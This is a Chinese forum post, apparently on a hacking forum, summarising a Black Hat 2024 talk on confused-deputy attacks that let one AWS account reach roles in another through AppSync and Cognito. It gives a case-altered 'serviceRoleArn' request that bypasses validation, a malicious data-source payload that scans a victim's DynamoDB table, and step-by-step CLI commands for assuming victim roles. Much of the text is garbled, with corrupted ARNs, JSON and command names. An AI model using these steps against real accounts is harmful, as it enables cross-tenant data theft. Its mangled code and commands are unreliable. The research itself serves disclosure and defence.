H

利用云提供商漏洞获取初始访问权限

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

利用云提供商漏洞获取初始访问权限​

2024 Blackhat会议上的研究人员分享了一个名为《Kicking in the Door to the Cloud: Exploiting Cloud Provider Vulnerabilities for Initial Access》的主题。该主题主要探讨一种新型的攻击,称为“使代理人感到困惑”以及如何在此问题中攻击AWS帐户。

1. AppSync 漏洞​

1.1. 背景​

AWS Appsync启用无服务器的GraphQL和Pub/Sub Apis,可以快速创建无服务器GraphQl和Pub/Sub Apis,与多个数据源(SQL,NOSQL,搜索数据,搜索数据,REST ENTPOISTS和MICIROServices)与单个网络呼叫进行简化的应用程序开发和Secelely explate QueRy Query Query Query Query QueRy,并访问A的多个数据源(SQL,NOSQL,搜索数据,REST ENTPOINTS和MICIROVICES)。
202409301548809.png-water_print

除了预定义的数据源和解析器外,AppSync还提供了直接致电AWS API的能力,使开发人员可以与AWS服务建立集成无预定义的解析器。例如,开发人员可以直接配置AppSync与AWS S3存储桶进行交互。但是,为了授权AppSync执行操作,开发人员需要使用所需的IAM权限创建角色,AWS信托政策将授权AppSync Service代表其执行操作。
1
2
3
4
5
6
7
8
9
10
11
12
{
“版本” :'2012-10-17',
'statement': [
{
“效果” :'允许',
'princive': {
'service':'papsync.amazonaws.com'
},
'Action':'STS:Assumerole'
}
这是给出的
}
具体而言,STS:Assumerole操作用于通过角色信任关系获得临时凭据。这是将权限委派的机制,其中IAM实体(通常是IAM用户或AWS服务)请求承担另一个角色的身份以获得该角色所具有的权限。此操作通常用于实施安全性最低特权的原则,即用户或服务只能获得完成其任务所需的最低权限。
以S3存储桶为例:
202409301548210.png-water_print

因此,在此过程中,有一个有趣的问题:攻击者可以以某种方式欺骗Appsync服务,允许其在受害者的帐户中扮演某些角色并访问其资源,并实施跨租户攻击?
010-110混淆代理的概念是未经许可执行操作的实体可能会迫使更多的授权实体执行操作。可以简单地将其理解为“非约束代表团”。在AWS中,跨服务委派可能会引起令人困惑的代理问题。当一个服务(呼叫服务)呼叫另一个服务(呼叫服务)时,可能会发生跨服务模拟,并且可以操纵呼叫服务以使用其权限在另一个客户的资源上运行。也就是说,具有较低权限(攻击者)的实体说服实体或服务具有较高权限(AppSync)代表其执行某些操作。
AWS通过验证角色的ARN(AWS资源的唯一标识符)来防止此类攻击。在创建数据源期间,API查看提供的ARN,并确定它是否在同一AWS帐户中。如果没有,API会出错。
1
2
3
4
5
6
7
AWS AppSync create-data源\
-API-ID example123Example123example \
-Type http \
-http-config file: //http.json \
-Service-Role-Arn ARN:AWS:IAM333:3333333333333333333333333333333333333:role/示例
当调用CreateAtAsource操作:交叉计数传球角色时,发生错误(AccessDeniedException)。
通过捕获数据包查看命令行HTTP请求流量,您可以发现ARN已在ServicerOlearearn参数中传递:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
'name':'custom_data_source',
'type':'http',
'servicerolearn':'ARN:AWS:IAM33333333333:11111111111111111111和
'httpconfig': {
'endpoint':'https://sts.us-east-1.amazonaws.com/',
'授权config': {
'授权type':'aws_iam',
'awsiamconfig': {
'签名区:'us-east-1',
'SigningServicEname':'STS'
}
}
}
}
在测试ARN验证过程时,发现API界面对病例不敏感。例如,API希望使用HTTPConfig,但是如果发送HTTPConfig,则没有错误。通过此功能,修改ServicerOrearn案例可以绕过验证,从而允许攻击者模拟不同AWS帐户中的角色。
下图显示了使用普通servicerolearn时的请求和响应:
202409301548398.png-water_print

202409301549949.png-water_print

案例旁路:
202409301549112.png-water_print

202409301549622.png-water_print

通过绕过ARN验证,攻击者可以创建与其他AWS帐户中角色绑定的AppSync数据源。这样,攻击者就可以与任何信任AWS AppSync服务的帐户中与角色相关的任何资源进行交互。

1.2. 混淆代理人问题(Confusing the deputy)​

通过上述旁路验证,您可以在帐户中的其他AWS帐户中创建数据源。
例如,假设有一家名为EventPlanners的公司专门为客户管理会议邀请。该公司拥有用于调度会议,协作和控制的GraphQL API,以确保只有获得许可的用户才能查看他们的会议活动。所有信息都存储在DynamoDB中。
为了允许GraphQL API与DynamoDB表相互作用,在受害者帐户中创建了IAM角色,并具有以下权限:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
“版本” :'2012-10-17',
'statement': [
{
“效果” :'允许',
'Action': [
'dynamodb:deleteitem',
'dynamodb:getItem',
'dynamodb:putitem',
“ dynamodb:query”,
'DynamoDB:Scan',
'dynamodb:updateItem'
],
'Resource': [
'arn:AWS:dynamodb:us-east-1:6773010388933333:table/appsynceventtable-xrpyowzk',
'arn:AWS:dynamodb:us-east-13:6773010388933333:table/appsynceventtable-xrpyOwzk/*'''
这是给出的
}
这是给出的
}
然后,DynamoDB解析器使用该角色访问数据库。由于此角色与AppSync服务之间存在信任关系,因此上述漏洞可用于接管数据库的帐户。
从攻击者的角度来看,攻击者可以通过网络钓鱼和访问内部文档从Eventplanners员工那里获取信息,即使攻击者没有足够的许可访问生产数据库,他仍然可以在生产AWS帐户中看到资源的ARN。
利用此漏洞,攻击者可以通过创建自己的appsync API和指向Eventplanners帐户中的角色的数据源来破解事件计划数据库:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
'name':'Malicsource',
'type':'http',
'servicerolearn':'ARN:AWS:IAM333333333333333333333333388933893333333333:role/service-lole/appSync-ds-dddb-ddb-yoczrt-yoczrt-appsynceventtable-appsynceventtable-xr',
'httpconfig': {
'endpoint':'https://dynamodb.us-east-1.amazonaws.com/',
'授权config': {
'授权type':'aws_iam',
'awsiamconfig': {
'签名区:'us-east-1',
'signingServicEname':'dynamoDB'
}
}
}
}
在上面的方法中,攻击者可以像具有数据源一样与之互动。此外,攻击者随后可以创建一个新的解析器,并指定请求映射模板以调用dynamodb:scan:
202409301549693.png-water_print

202409301549624.png-water_print

202409301549436.png-water_print

现在,攻击者可以调用API查看Eventplanners数据库的整个内容:
202409301549976.png-water_print

总而言之,攻击过程如图所示:
202409301549493.png-water_print

1.3. 访问其它 AWS 账户中的资源​

2. AWS Amplify漏洞​

AWS Cognito是一项AWS服务,可以管理用户身份验证和授权,因此开发人员可以轻松地将用户注册,登录和访问控制功能添加到其应用程序中。 Amazon Cognito是以开发人员为中心且具有成本效益的客户身份和访问管理(CIAM)服务,可为将用户扩展到数百万的安全身份存储和联合身份验证提供选项。
Cognito的主要功能之一是身份池,它允许开发人员授权认证的用户或匿名用户访问AWS资源。身份池可以向这些用户发布标准的短期STS凭据(访问密钥)。
为此,Cognito在AWS帐户中创建了一个角色,该帐户的信任政策类似于以下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
“版本” :'2012-10-17',
'statement': [
{
“效果” :'允许',
'princive': {
'Federated':'Cognito-nistity.amazonaws.com'
},
'Action':'STS:Assumerolewithwebidentity',
'条件': {
'Stringequals': {
'cognito-identity.amazonaws.com:Aud':'US-EAST-1:0000000000000000000000000000-AAAA-1111-BBBBBBBBBBB-222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222太体22
},
'ForAnyValue:Stringlike': {
'cognito-identity.amazonaws.com:AMR':'认证'
}
}
}
这是给出的
}
该策略最重要的部分是条件元素。如果没有这种条件,cognito-sidentity.amazonaws.com服务的信任关系将使任何人都可以扮演这个角色,我们将在以下各章中解释。

2.1. 背景​

潜在的错误配置1:信任政策没有条件
为了通过配置错误的角色信任策略来模仿IAM角色,您必须首先能够配置Cognito服务以代表攻击者模仿另一个角色,这在大多数情况下是不可能的。例如,如果用户创建身份池或修改了现有身份池,并试图在另一个帐户中指定未经验证的角色,则您将收到以下错误消息:
1
2
3
4
5
local@host%aws cognito-nidentity set-sentity-pool \
- Indentity-Pool-ID US-EAST-1:1111111-AAAAAA-2222BBB-333333333333333333333333333333333333333333333333333333333333333333
-ROM未经验证=ARN:AWS:IAM33:3333333:2222222222222222222222222222222222222222223360ROLE/cORO-IN-IN-IN-DIDFERENT-AWS-AWS-ACCOUNT
当调用SetIdentityPoololes操作:跨账户传球角色时,发生错误(AccessDeniedException)。
但是,研究人员发现了一种使用Cognito的基本(经典)验证过程对信任政策进行错误结合的方式模拟其他角色的方法。 STS:AssumerolewithWebidentity将IAM角色作为参数的ARN,允许用户在不同的AWS帐户中指定脆弱的角色。重要的是,指定属于不同AWS帐户的角色不会返回错误。
假设攻击者可以通过在其帐户中创建身份库来模拟信托政策错误地配置的情况下模拟IAM角色。然后,攻击者使用自己的身份池来生成所需的身份令牌,以致电STS:ASSUMEROLOLOELELELWITHWEBIDENTITY API,并在受害人的帐户中提供了该角色。
202409301550226.png-water_print

例如:如果用户在ARN:AWS3:IAM333:11111111111111111111和
1
2
3
4
5
6
7
8
9
10
11
{
“版本” :'2012-10-17',
'statement': [
{
“效果” :'允许',
'princive': {
'Federated':'Cognito-nistity.amazonaws.com'
},
'Action':'STS:ASSUMEROLOLOLEWITHWEBIDENTITY'
}
这是给出的
上面的配置未设置条件元素,这将导致Cognito Identity池中的任何用户模仿角色,包括当前AWS帐户之外的用户,而无需进一步的身份验证或授权。攻击者可以通过通过他或她控制的恶意帐户执行以下步骤来模拟角色:
1。创建一个攻击者控制的Cognito身份池。
AWS Cognito-Indentity创建认可池-Identity-pool-name Attacker_id_pool -Allow-classic-flow - Allow-Allow-Allow-Allauthenticated-disticated-distition
执行命令后,IdentityPoolid将返回
2。在上一步中使用IdentityPoolid生成cognito IdentityId。
aws cognito-sidentity get-id- Identity-pool-id Identitypoolid
执行命令后将返回IdentityID。
3。生成Cognito网络身份令牌
aws认知认同性获得开放性- id-id-id-id IdentityId
执行命令后,将返回令牌。
4。使用STS:Assumerolewithwebidentity模拟受害者帐户中的角色。
AWS STS假设- 杆- with-web-nidentity-lole-arn ARN:AWS:IAM33333333333333333333333:1111111111111111和
生成受害人帐户中脆弱角色的临时STS凭据,以控制该角色的资源
1
2
3
4
5
6
local@host%aws sts get-call-call-call-sidentity
{
'userId':'AROAEXAMPLAMEEXAMPLE123: HACKED',
'account':'1111111111',
'arn':'ARN:AWS:STS:33333:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111往
}

2.2. 潜在误配置1:Trust policy without a condition​

应注意,当条件元素为空或cognito-nidentity.amazonaws.com:AMR条件设置为未经验证时,它具有与上述问题相同的效果,并且不会重复。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
“版本” :'2012-10-17',
'statement': [
{
“效果” :'允许',
'princive': {
'Federated':'Cognito-nistity.amazonaws.com'
},
'Action':'STS:Assumerolewithwebidentity',
'条件': {
'ForAnyValue:Stringlike': {
'cognito-identity.amazonaws.com:AMR':'未经身份验证'
}
}
}
这是给出的
}

2.3. 潜在误配置2:Trust policy with an unauthenticated condition​

假定角色配置了Cognito-nidentity.amazonaw需要验证
 
后退
顶部